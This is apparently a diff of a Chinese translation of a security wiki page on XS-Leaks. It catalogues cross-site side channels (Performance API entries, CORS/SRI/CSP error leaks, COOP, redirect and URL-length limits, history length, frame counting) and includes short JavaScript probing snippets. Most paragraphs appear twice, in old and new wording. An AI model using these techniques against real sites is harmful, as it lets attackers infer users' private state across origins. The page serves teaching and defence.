这些数据可以通过 [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) 或 [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName) 等方法检索,提供全面的性能相关信息。此外,API 通过计算从 [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) 获取的时间戳之间的差异来促进执行时间的测量。然而,值得注意的是,对于某些操作,在 Chrome 等浏览器中,`performance.now()` 的精度可能仅限于毫秒,这可能会影响计时测量的粒度。
除了计时测量外,性能 API 还可以用于安全相关的洞察。例如Chrome 中 `performance` 对象中页面的存在或缺失可以指示 `X-Frame-Options` 的应用。具体来说,如果由于 `X-Frame-Options` 而阻止页面在框架中呈现,则不会在 `performance` 对象中记录该页面,从而提供有关页面框架策略的微妙线索。
@ -300,7 +300,7 @@ connection-pool-example.md
- **总结**: 由于浏览器错误,导致错误的请求会被加载两次。
- **代码示例**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
在前一种技术中,还识别出浏览器中的两个错误情况,导致**资源在加载失败时被加载两次**。这将导致性能 API 中出现多个条目,因此可以被检测到。
在前一种技术中,还识别出浏览器中的 GC 错误导致**资源在加载失败时被加载两次**。这将导致性能 API 中出现多个条目,从而可以被检测到。
### 请求合并错误
@ -310,7 +310,7 @@ connection-pool-example.md
- **总结**: 导致错误的请求无法合并。
- **代码示例**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
该技术在提到的论文中的表格中被发现,但没有找到该技术的描述。然而,你可以在 [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak) 中检查源代码。
该技术在提到的论文中的表格中被发现,但没有找到该技术的描述。然而,你可以在 [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak) 中检查源代码。
### 空页面泄露
@ -327,10 +327,10 @@ connection-pool-example.md
- **包含方法**: Frames
- **可检测差异**: 页面内容
- **更多信息**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **总结**: 在安全声明中使用 XSS 审计器,攻击者可以通过观察构造的有效负载触发审计器的过滤机制时响应的变化来检测特定网页元素
- **总结**: 在安全声明中使用 XSS 审计器,攻击者可以通过观察响应的变化来检测特定网页元素,当构造的有效负载触发审计器的过滤机制时。
- **代码示例**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
在安全声明 (SA) 中XSS 审计器最初旨在防止跨站脚本 (XSS) 攻击,但可以悖论地被利用来泄露敏感信息。尽管这一内置特性已从 Google Chrome (GC) 中移除,但在 SA 中仍然存在。2013 年Braun 和 Heiderich 证明 XSS 审计器可能无意中阻止合法脚本,导致误报。在此基础上,研究人员开发了提取信息和检测跨源页面特定内容的技术,这一概念被称为 XS-Leaks最初由 Terada 报告,并由 Heyes 在博客文章中详细阐述。尽管这些技术特定于 GC 中的 XSS 审计器,但发现 SA 中被 XSS 审计器阻止的页面不会在性能 API 中生成条目,从而揭示了一种可能仍然泄露敏感信息的方法。
在安全声明 (SA) 中XSS 审计器最初旨在防止跨站脚本 (XSS) 攻击,但可以悖论地被利用来泄露敏感信息。尽管此内置功能已从 Google Chrome (GC) 中删除,但在 SA 中仍然存在。2013 年Braun 和 Heiderich 证明 XSS 审计器可能会意外阻止合法脚本,导致误报。在此基础上,研究人员开发了提取信息和检测跨源页面特定内容的技术,这一概念被称为 XS-Leaks最初由 Terada 报告,并在 Heyes 的博客文章中详细阐述。尽管这些技术特定于 GC 中的 XSS 审计器,但发现 SA 中被 XSS 审计器阻止的页面不会在性能 API 中生成条目,从而揭示了一种可能仍然泄露敏感信息的方法。
### X-Frame 泄露
@ -340,8 +340,8 @@ connection-pool-example.md
- **总结**: 带有 X-Frame-Options 头的资源不会创建资源计时条目。
- **代码示例**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
如果页面**不允许**在**iframe**中**呈现**,则不会**创建性能条目**。因此,攻击者可以检测响应头**`X-Frame-Options`**。\
使用**embed**标签时也是如此。
如果页面**不允许**在**iframe**中**呈现**,则不会创建性能条目。因此,攻击者可以检测响应头**`X-Frame-Options`**。\
如果使用**embed** **标签**,情况也是如此。
### 下载检测
@ -351,7 +351,7 @@ connection-pool-example.md
- **总结**: 下载不会在性能 API 中创建资源计时条目。
- **代码示例**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
与描述的 XS-Leak 类似,因 ContentDisposition 头而**下载的资源**也**不会创建性能条目**。该技术在所有主要浏览器中均有效。
与描述的 XS-Leak 类似,由于 ContentDisposition 头,**下载的资源**也**不会创建性能条目**。此技术在所有主要浏览器中均有效。
### 重定向开始泄露
@ -361,7 +361,7 @@ connection-pool-example.md
- **总结**: 资源计时条目泄露重定向的开始时间。
- **代码示例**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
我们发现一个 XS-Leak 实例,利用某些浏览器记录过多跨源请求信息的行为。标准定义了一组应为跨源资源设置为零的属性。然而,在**SA**中,可以通过查询**性能 API**并检查**redirectStart 计时数据**来检测用户是否被目标页面**重定向**。
我们发现一个 XS-Leak 实例,利用某些浏览器的行为,这些浏览器对跨源请求记录了过多的信息。标准定义了一组应为跨源资源设置为零的属性。然而,在**SA**中,可以通过查询**性能 API**并检查**redirectStart 计时数据**来检测用户是否被目标页面**重定向**。
### 持续时间重定向泄露
@ -371,7 +371,7 @@ connection-pool-example.md
- **总结**: 当发生重定向时,计时条目的持续时间为负。
- **代码示例**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
在 GC 中,导致**重定向**的请求的**持续时间**为**负**,因此可以与不导致重定向的请求**区分**开来
在 GC 中,导致**重定向**的请求的**持续时间**为**负**,因此可以**区分**与不导致重定向的请求。
### CORP 泄露
@ -393,13 +393,13 @@ connection-pool-example.md
服务工作者是事件驱动的脚本上下文,在一个源上运行。它们在网页的后台运行,可以拦截、修改和**缓存资源**以创建离线 Web 应用程序。\
如果通过**iframe**访问**服务工作者**缓存的**资源**,该资源将从**服务工作者缓存**中**加载**。\
要检测资源是否**服务工作者**缓存中加载,可以使用**性能 API**。\
这也可以通过计时攻击来完成(查看论文以获取更多信息)。
要检测资源是否**服务工作者**缓存中**加载**,可以使用**性能 API**。\
这也可以通过计时攻击来完成(查看论文以获取更多信息)。
### 缓存
- **包含方法**: Fetch API
- **可检测差异**:
- **可检测差异**: 时
- **更多信息**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
- **总结**: 可以检查资源是否存储在缓存中。
- **代码示例**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](<https://xsinator.com/testing.html#Cache%20Leak%20(POST)>)
@ -470,7 +470,7 @@ err.message +
audioElement.onerror = errHandler
}
```
`MediaError` 接口的 message 属性通过一个独特的字符串唯一标识成功加载的资源。攻击者可以利用此特性,通过观察消息内容,从而推断跨源资源的响应状态。
`MediaError` 接口的 message 属性通过一个独特的字符串唯一标识成功加载的资源。攻击者可以通过观察消息内容来利用此特性,从而推断跨源资源的响应状态。
### CORS 错误
@ -480,7 +480,7 @@ audioElement.onerror = errHandler
- **总结:** 在安全声明 (SA) 中CORS 错误消息无意中暴露了重定向请求的完整 URL。
- **代码示例**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
此技术使攻击者能够**提取跨源站点重定向的目标**通过利用 Webkit 基于浏览器处理 CORS 请求的方式。具体而言,当向目标站点发送一个**启用 CORS 的请求**,该站点根据用户状态发出重定向,而浏览器随后拒绝该请求时**重定向目标的完整 URL** 会在错误消息中披露。此漏洞不仅揭示了重定向的事实,还暴露了重定向的端点及其可能包含的任何**敏感查询参数**。
此技术使攻击者能够通过利用 Webkit 基于浏览器处理 CORS 请求的方式**提取跨源站点重定向的目标**。具体而言,当向一个根据用户状态发出重定向的目标站点发送 **CORS 启用请求** 时,如果浏览器随后拒绝该请求**重定向目标的完整 URL** 会在错误消息中披露。此漏洞不仅揭示了重定向的事实,还暴露了重定向的端点及其可能包含的任何 **敏感查询参数**
### SRI 错误
@ -490,7 +490,7 @@ audioElement.onerror = errHandler
- **总结:** 在安全声明 (SA) 中CORS 错误消息无意中暴露了重定向请求的完整 URL。
- **代码示例**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
攻击者可以利用**详细的错误消息**推断跨源响应的大小。这是由于子资源完整性 (SRI) 的机制,该机制使用完整性属性验证从 CDN 获取的资源是否未被篡改。为了使 SRI 在跨源资源上工作,这些资源必须是**启用 CORS 的**;否则,它们不受完整性检查。在安全声明 (SA) 中,类似于 CORS 错误 XS-Leak当带有完整性属性的 fetch 请求失败时,可以捕获错误消息。攻击者可以故意**触发此错误**,通过将**虚假的哈希值**分配给任何请求的完整性属性。在 SA 中,结果错误消息无意中揭示了请求资源的内容长度。这一信息泄露使攻击者能够别响应大小的变化,为复杂的 XS-Leak 攻击铺平了道路。
攻击者可以利用 **详细的错误消息**推断跨源响应的大小。这是由于子资源完整性 (SRI) 的机制,该机制使用完整性属性验证从 CDN 获取的资源是否未被篡改。为了使 SRI 在跨源资源上工作,这些资源必须是 **CORS 启用的**;否则,它们不受完整性检查。在安全声明 (SA) 中,类似于 CORS 错误 XS-Leak当带有完整性属性的 fetch 请求失败时,可以捕获错误消息。攻击者可以故意 **触发此错误**,通过将 **虚假的哈希值** 分配给任何请求的完整性属性。在 SA 中,结果错误消息无意中揭示了请求资源的内容长度。这一信息泄露使攻击者能够别响应大小的变化,为复杂的 XS-Leak 攻击铺平了道路。
### CSP 违规/检测
@ -500,8 +500,8 @@ audioElement.onerror = errHandler
- **总结:** 如果我们访问的受害者网站尝试重定向到不同的域CSP 将触发可检测的错误。
- **代码示例**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
XS-Leak 可以利用 CSP 检测跨源站点是否重定向到不同的源。此泄漏可以检测重定向,但此外,重定向目标的域也会泄漏。此攻击的基本思路是**在攻击者网站上允许目标域**。一旦向目标域发出请求,它**重定向**到一个跨源域。**CSP 阻止**对其的访问并生成一个**违规报告作为泄漏技术**。根据浏览器的不同,**此报告可能泄漏重定向的目标位置**。\
现代浏览器不会指示重定向到的 URL但仍然可以检测到跨源重定向已被触发
XS-Leak 可以利用 CSP 检测跨源站点是否重定向到不同的源。此泄漏可以检测重定向,但此外,重定向目标的域也会泄漏。此攻击的基本思路是 **允许攻击者站点上的目标域**。一旦向目标域发出请求,它 **重定向** 到一个跨源域。**CSP 阻止** 访问并创建一个 **违规报告作为泄漏技术**。根据浏览器的不同,**此报告可能泄漏重定向的目标位置**。\
现代浏览器不会指示重定向到的 URL但仍然可以检测到触发了跨源重定向。
### 缓存
@ -511,9 +511,9 @@ XS-Leak 可以利用 CSP 检测跨源站点是否重定向到不同的源。此
- **总结:** 从缓存中清除文件。打开目标页面检查文件是否存在于缓存中。
- **代码示例:**
浏览器可能为所有网站使用一个共享缓存。无论其来源如何,都可以推断目标页面是否**请求了特定文件**。
浏览器可能为所有网站使用一个共享缓存。无论其来源如何,都可以推断目标页面是否 **请求了特定文件**
如果一个页面仅在用户登录时加载图像,您可以**使资源失效**(以便如果它被缓存则不再缓存,更多信息链接),**执行一个请求**,该请求可能加载该资源,并尝试使用**错误请求**加载该资源(例如,使用过长的 referer 头)。如果资源加载**没有触发任何错误**,则是因为它被**缓存**。
如果一个页面仅在用户登录时加载图像,您可以 **使资源失效**(以便如果它被缓存则不再缓存,更多信息链接),**执行请求** 以加载该资源,并尝试 **使用错误请求** 加载该资源(例如,使用过长的 referer 头)。如果资源加载 **没有触发任何错误**,则是因为它被 **缓存**
### CSP 指令
@ -523,7 +523,7 @@ XS-Leak 可以利用 CSP 检测跨源站点是否重定向到不同的源。此
- **总结:** CSP 头指令可以通过 CSP iframe 属性进行探测,揭示策略细节。
- **代码示例**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
Google Chrome (GC) 中的一个新功能允许网页通过在 iframe 元素上设置属性来**提议内容安全策略 (CSP)**,策略指令与 HTTP 请求一起传输。通常,嵌入的内容必须**通过 HTTP 头进行授权**,否则将显示**错误页面**。然而,如果 iframe 已经受到 CSP 的管理,并且新提议的策略不更严格,则页面将正常加载。此机制为攻击者提供了一条途径,通过识别错误页面来**检测跨源页面的特定 CSP 指令**。尽管此漏洞被标记为已修复,但我们的发现揭示了一种**新的泄漏技术**,能够检测错误页面,表明根本问题从未完全解决。
Google Chrome (GC) 中的一个新功能允许网页通过在 iframe 元素上设置属性来 **提议内容安全策略 (CSP)**并将策略指令与 HTTP 请求一起传输。通常,嵌入的内容必须 **通过 HTTP 头进行授权**,否则将 **显示错误页面**。然而,如果 iframe 已经受到 CSP 的管理,并且新提议的策略不更严格,则页面将正常加载。此机制为攻击者打开了一条 **检测跨源页面特定 CSP 指令** 的途径,通过识别错误页面。尽管此漏洞被标记为已修复,但我们的发现揭示了一种 **新的泄漏技术**,能够检测错误页面,表明根本问题从未完全解决。
### **CORP**
@ -533,19 +533,19 @@ Google Chrome (GC) 中的一个新功能允许网页通过在 iframe 元素上
- **总结:** 使用跨源资源策略 (CORP) 保护的资源在从不允许的源获取时会抛出错误。
- **代码示例**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)
CORP 头是一个相对较新的网络平台安全特性,当设置时**阻止从给定资源的无 CORS 跨源请求**。可以检测到该头的存在,因为受 CORP 保护的资源在被获取时会**抛出错误**。
CORP 头是一个相对较新的网络平台安全特性,当设置时 **阻止从给定资源的无 CORS 跨源请求**。可以检测到该头的存在,因为受 CORP 保护的资源在被获取时会 **抛出错误**
### CORB
- **包含方法**: HTML 元素
- **可检测差异**: Headers
- **更多信息**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
- **总结**: CORB 可以让攻击者检测请求中是否存在**`nosniff`**。
- **总结**: CORB 可以允许攻击者检测请求中 **`nosniff` 头的存在**。
- **代码示例**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)
查看链接以获取有关攻击的更多信息。
### Origin 反射错误配置的 CORS 错误 <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>
### CORS 错误在源反射错误配置上 <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>
- **包含方法**: Fetch API
- **可检测差异**: Headers
@ -553,7 +553,7 @@ CORP 头是一个相对较新的网络平台安全特性,当设置时**阻止
- **总结**: 如果 Origin 头在 `Access-Control-Allow-Origin` 头中被反射,则可以检查资源是否已经在缓存中。
- **代码示例**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
如果**Origin 头**在 `Access-Control-Allow-Origin` 头中被**反射**,攻击者可以利用此行为尝试在**CORS** 模式下**获取**该**资源**。如果**没有**触发**错误**,则意味着它是**正确地从网络获取的**;如果触发了错误,则是因为它是**从缓存中访问的**(错误出现是因为缓存保存了一个允许原始域而不是攻击者域的 CORS 头的响应)。\
如果 **Origin 头** `Access-Control-Allow-Origin` 头中被 **反射**,攻击者可以利用此行为尝试 **以 CORS 模式获取** **资源**。如果 **没有** 触发 **错误**,则意味着它是 **正确地从网络获取的**,如果触发了错误,则是因为它是 **从缓存中访问的**(错误出现是因为缓存保存了一个带有 CORS 头的响应,允许原始域而不是攻击者域)。\
请注意,如果未反射原点但使用了通配符 (`Access-Control-Allow-Origin: *`),则此方法将无效。
## 可读属性技术
@ -566,17 +566,17 @@ CORP 头是一个相对较新的网络平台安全特性,当设置时**阻止
- **总结:** GC 和 SA 允许在重定向完成后检查响应的类型 (opaque-redirect)。
- **代码示例**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)
使用 Fetch API 提交请求,设置 `redirect: "manual"` 和其他参数,可以读取 `response.type` 属性,如果它等于 `opaqueredirect`,则响应是重定向。
使用 Fetch API 提交请求,设置 `redirect: "manual"` 和其他参数,可以读取 `response.type` 属性,如果它等于 `opaqueredirect`,则响应是一个重定向。
### COOP
- **包含方法**: 弹出窗口
- **可检测差异**: Header
- **更多信息**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
- **总结:** 受跨源打开策略 (COOP) 保护的页面防止跨源交互的访问。
- **总结:** 受跨源打开策略 (COOP) 保护的页面防止跨源交互的访问。
- **代码示例**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
攻击者能够推断跨源 HTTP 响应中跨源打开策略 (COOP) 头的存在。COOP 被网络应用程序用于阻止外部站点获取任意窗口引用。可以通过尝试访问**`contentWindow` 引用**来识别此头的可见性。在 COOP 条件应用的情况下,**`opener` 属性**成为一个明显的指示器:当 COOP 活动时,它是**未定义的**,而在没有 COOP 的情况下是**定义的**。
攻击者能够推断跨源 HTTP 响应中跨源打开策略 (COOP) 头的存在。COOP 被网络应用程序用于阻止外部站点获取任意窗口引用。可以通过尝试访问 **`contentWindow` 引用** 来识别此头的可见性。在 COOP 条件应用的情况下,**`opener` 属性** 成为一个明显的指示器:当 COOP 活动时,它是 **未定义的**,而在没有 COOP 的情况下是 **定义的**
### URL 最大长度 - 服务器端
@ -586,10 +586,10 @@ CORP 头是一个相对较新的网络平台安全特性,当设置时**阻止
- **总结:** 检测响应中的差异,因为重定向响应长度可能过大,服务器会回复错误并生成警报。
- **代码示例**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
如果服务器端重定向使用**用户输入进行重定向**并且**附加数据**。可以检测到这种行为,因为通常**服务器**有一个**请求长度限制**。如果**用户数据**是**长度 - 1**,因为**重定向**使用**该数据**并**添加**一些**额外的内容**,则会触发一个**可通过错误事件检测到的错误**
如果服务器端重定向使用 **用户输入进行重定向****额外数据**。可以检测到这种行为,因为通常 **服务器****请求长度限制**。如果 **用户数据****长度 - 1**,因为 **重定向** 使用 **该数据****添加** 一些 **额外内容**,它将触发一个 **可通过错误事件检测到的错误**
如果您可以以某种方式为用户设置 cookies您还可以通过**设置足够的 cookies** ([**cookie bomb**](../hacking-with-cookies/cookie-bomb.md)) 来执行此攻击,因此**正确响应**的**响应大小**增加会触发一个**错误**。在这种情况下,请记住,如果您从同一站点触发此请求,`<script>` 将自动发送 cookies因此您可以检查错误。\
关**cookie bomb + XS-Search**的示例可以在此写作的意图解决方案中找到: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
如果您可以以某种方式将 cookies 设置给用户,您还可以通过 **设置足够的 cookies** ([**cookie bomb**](../hacking-with-cookies/cookie-bomb.md)) 来执行此攻击,因此 **正确响应****响应大小增加** 会触发一个 **错误**。在这种情况下,请记住,如果您从同一站点触发此请求,`<script>` 将自动发送 cookies因此您可以检查错误。\
**cookie bomb + XS-Search** 的示例可以在此写作的意图解决方案中找到: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
`SameSite=None` 或处于相同上下文通常是此类攻击所需的。
@ -605,11 +605,11 @@ CORP 头是一个相对较新的网络平台安全特性,当设置时**阻止
> 一般来说_web 平台_ 对 URL 的长度没有限制(尽管 2^31 是一个常见限制。_Chrome_ 将 URL 限制为最大长度 **2MB**,出于实际原因并避免在进程间通信中造成拒绝服务问题。
因此,如果**重定向 URL 在某些情况下响应的大小更大**,则可以使其重定向到**大于 2MB 的 URL**以达到**长度限制**。当发生这种情况时Chrome 会显示一个**`about:blank#blocked`** 页面。
因此,如果 **重定向 URL 在某些情况下响应的大小更大**,则可以使其重定向到 **大于 2MB 的 URL** 以达到 **长度限制**。当发生这种情况时Chrome 会显示 **`about:blank#blocked`** 页面。
**显著差异**是,如果**重定向**已**完成**`window.origin` 会抛出一个**错误**,因为跨源无法访问该信息。然而,如果**限制**被****触发并且加载的页面是**`about:blank#blocked`**,则窗口的**`origin`** 保持为**父级**的值,这是一个**可访问的信息**
**显著差异** 是,如果 **重定向****完成**`window.origin` 会抛出 **错误**,因为跨源无法访问该信息。然而,如果 **限制** 被触及且加载的页面是 **`about:blank#blocked`**,则窗口的 **`origin`** 保持为 **父级** 的值,这是一个 **可访问的信息**
所有达到**2MB**所需的额外信息可以通过初始 URL 中的**哈希**添加,以便在重定向中**使用**。
所有达到 **2MB** 所需的额外信息可以通过初始 URL 中的 **哈希** 添加,以便在 **重定向中使用**
{{#ref}}
url-max-length-client-side.md
@ -623,18 +623,18 @@ url-max-length-client-side.md
- **总结:** 利用浏览器的重定向限制来确定 URL 重定向的发生。
- **代码示例**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
如果浏览器的**最大**重定向次数为**20**,攻击者可以尝试用**19 次重定向**加载他的页面,最后**将受害者**发送到测试页面。如果触发了**错误**,则表示页面试图**重定向受害者**。
如果浏览器的 **最大** 重定向次数为 **20**,攻击者可以尝试用 **19 次重定向** 加载他的页面,最后 **将受害者** 发送到测试页面。如果触发了 **错误**,则页面试图 **重定向受害者**
### 历史长度
- **包含方法**: 框架, 弹出窗口
- **可检测差异**: 重定向
- **更多信息**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
- **总结:** JavaScript 代码操纵浏览器历史,可以通过长度属性访问。
- **总结:** JavaScript 代码操纵浏览器历史记录,可以通过长度属性访问。
- **代码示例**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
**历史 API** 允许 JavaScript 代码操纵浏览器历史,**保存用户访问的页面**。攻击者可以使用长度属性作为包含方法:检测 JavaScript 和 HTML 导航。\
**检查 `history.length`**,使用户**导航**到一个页面,**返回**到同源并**检查**新的**`history.length`**。
**历史 API** 允许 JavaScript 代码操纵浏览器历史记录**保存用户访问的页面**。攻击者可以使用长度属性作为包含方法:检测 JavaScript 和 HTML 导航。\
**检查 `history.length`**,使用户 **导航** 到一个页面,**返回** 到同源并 **检查** 新的 **`history.length`**
### 同一 URL 的历史长度
@ -643,7 +643,7 @@ url-max-length-client-side.md
- **总结:** 可以通过历史长度的滥用来猜测框架/弹出窗口的位置是否在特定 URL 中。
- **代码示例**: 以下
攻击者可以使用 JavaScript 代码**操纵框架/弹出窗口的位置到猜测的 URL**,并**立即**将其**更改为 `about:blank`**。如果历史长度增加,则意味着 URL 是正确的,并且有时间**增加,因为如果 URL 相同则不会重新加载**。如果没有增加,则意味着它**尝试加载猜测的 URL**,但因为我们**立即之后**加载了**`about:blank`**,所以在加载猜测的 URL 时**历史长度从未增加**。
攻击者可以使用 JavaScript 代码 **操纵框架/弹出窗口的位置到猜测的 URL**,并 **立即** **更改为 `about:blank`**。如果历史长度增加,则意味着 URL 是正确的,并且有时间 **增加,因为如果 URL 相同则不会重新加载**。如果没有增加,则意味着它 **尝试加载猜测的 URL**,但因为我们 **立即之后** 加载了 **`about:blank`**,所以 **历史长度在加载猜测的 URL 时从未增加**
```javascript
async function debug(win, url) {
win.location = url + "#aaa"
@ -664,48 +664,48 @@ console.log(await debug(win, "https://example.com/?a=b"))
### Frame Counting
- **Inclusion Methods**: Frames, Pop-ups
- **Detectable Difference**: 页面内容
- **Detectable Difference**: Page Content
- **More info**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
- **Summary:** 通过检查 `window.length` 属性评估 iframe 元素的数量。
- **Summary:** 通过检查 `window.length` 属性评估 iframe 元素的数量。
- **Code Example**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
计算通过 `iframe``window.open` 打开的 **网页中的帧数** 可能有助于识别 **用户在该页面上的状态**。\
此外,如果页面始终具有相同数量的帧,**持续** 检查帧数可能有助于识别可能泄露信息的 **模式**
此外,如果页面始终具有相同数量的帧,持续检查帧数可能有助于识别可能泄露信息的 **模式**
这种技术的一个例子是,在 Chrome 中,可以通过 **帧计数** 检测 **PDF**,因为内部使用了 `embed`。有一些 [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) 允许对内容进行一些控制,例如 `zoom``view``page``toolbar`,在这种情况下,这技术可能会很有趣。
这种技术的一个例子是,在 Chrome 中,可以通过 **帧计数** 检测 **PDF**,因为内部使用了 `embed`。有一些 [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) 允许对内容进行某种控制,例如 `zoom``view``page``toolbar`,在这种情况下,这技术可能会很有趣。
### HTMLElements
- **Inclusion Methods**: HTML Elements
- **Detectable Difference**: 页面内容
- **Detectable Difference**: Page Content
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
- **Summary:** 读取泄露的值以区分两种可能的状态
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
通过 HTML 元素的信息泄露是网络安全中的一个问题,特别是当动态媒体文件基于用户信息生成时,或者当添加水印时,改变了媒体大小。攻击者可以利用这一点,通过分析某些 HTML 元素暴露的信息来区分可能的状态。
通过 HTML 元素的信息泄露是网络安全中的一个问题,特别是当动态媒体文件基于用户信息生成时,或者当水印被添加时,改变了媒体大小。这可以被攻击者利用,通过分析某些 HTML 元素暴露的信息来区分可能的状态。
### Information Exposed by HTML Elements
- **HTMLMediaElement**: 该元素揭示媒体的 `duration``buffered` 时间,可以通过其 API 访问。[Read more about HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
- **HTMLVideoElement**: 它暴露 `videoHeight``videoWidth`。在某些浏览器中,额外的属性如 `webkitVideoDecodedByteCount``webkitAudioDecodedByteCount``webkitDecodedFrameCount` 可用,提供有关媒体内容的更深入信息。[Read more about HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
- **HTMLMediaElement**: 该元素揭示媒体的 `duration``buffered` 时间,可以通过其 API 访问。[Read more about HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
- **HTMLVideoElement**: 它暴露 `videoHeight``videoWidth`。在某些浏览器中,额外的属性如 `webkitVideoDecodedByteCount``webkitAudioDecodedByteCount``webkitDecodedFrameCount` 可用,提供有关媒体内容的更深入信息。[Read more about HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
- **getVideoPlaybackQuality()**: 此函数提供有关视频播放质量的详细信息,包括 `totalVideoFrames`,这可以指示处理的视频数据量。[Read more about getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
- **HTMLImageElement**: 该元素泄露图像的 `height``width`。但是,如果图像无效,这些属性将返回 0并且 `image.decode()` 函数将被拒绝,表示未能正确加载图像。[Read more about HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
- **HTMLImageElement**: 该元素泄露图像的 `height``width`。但是,如果图像无效,这些属性将返回 0并且 `image.decode()` 函数将被拒绝,表示未能正确加载图像。[Read more about HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
### CSS Property
- **Inclusion Methods**: HTML Elements
- **Detectable Difference**: 页面内容
- **Detectable Difference**: Page Content
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
- **Summary:** 识别与用户状态或身份相关的网站样式变化。
- **Code Example**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
